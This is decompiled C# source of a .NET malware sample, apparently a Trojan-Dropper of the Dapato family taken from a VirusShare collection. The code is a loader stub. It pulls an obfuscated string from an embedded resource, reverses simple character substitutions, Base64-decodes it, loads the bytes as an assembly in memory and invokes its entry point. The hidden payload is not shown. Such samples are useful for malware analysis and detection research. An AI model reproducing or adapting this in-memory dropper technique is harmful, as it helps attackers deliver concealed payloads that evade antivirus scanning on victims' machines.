// Decompiled with JetBrains decompiler // Type: UGTpllkvZqi // Assembly: eks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 5DEB1E80-56C6-49BC-91E4-B28B44122BBB // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.beri-f805abca58f0933dc66b09f7b9886394a92d481343df2851415f673b2b7ca0f2.exe using System; using System.Collections; using System.Reflection; using System.Resources; internal class UGTpllkvZqi { public static void Main() { ArrayList arrayList = new ArrayList(); Assembly.Load(UGTpllkvZqi.getbu(UGTpllkvZqi.gety(new ResourceManager("YLYkZhfJbHWYtY", typeof (UGTpllkvZqi).Assembly)))).EntryPoint.Invoke((object) null, (object[]) null); } public static string gety(ResourceManager str) => str.GetString("uvWRxXpwDzcJlbSV"); public static byte[] getblu(string str) => Convert.FromBase64String(str.Replace("_Y_", "/").Replace("_U_", "=")); public static byte[] getbu(string str) => UGTpllkvZqi.getblu(str); }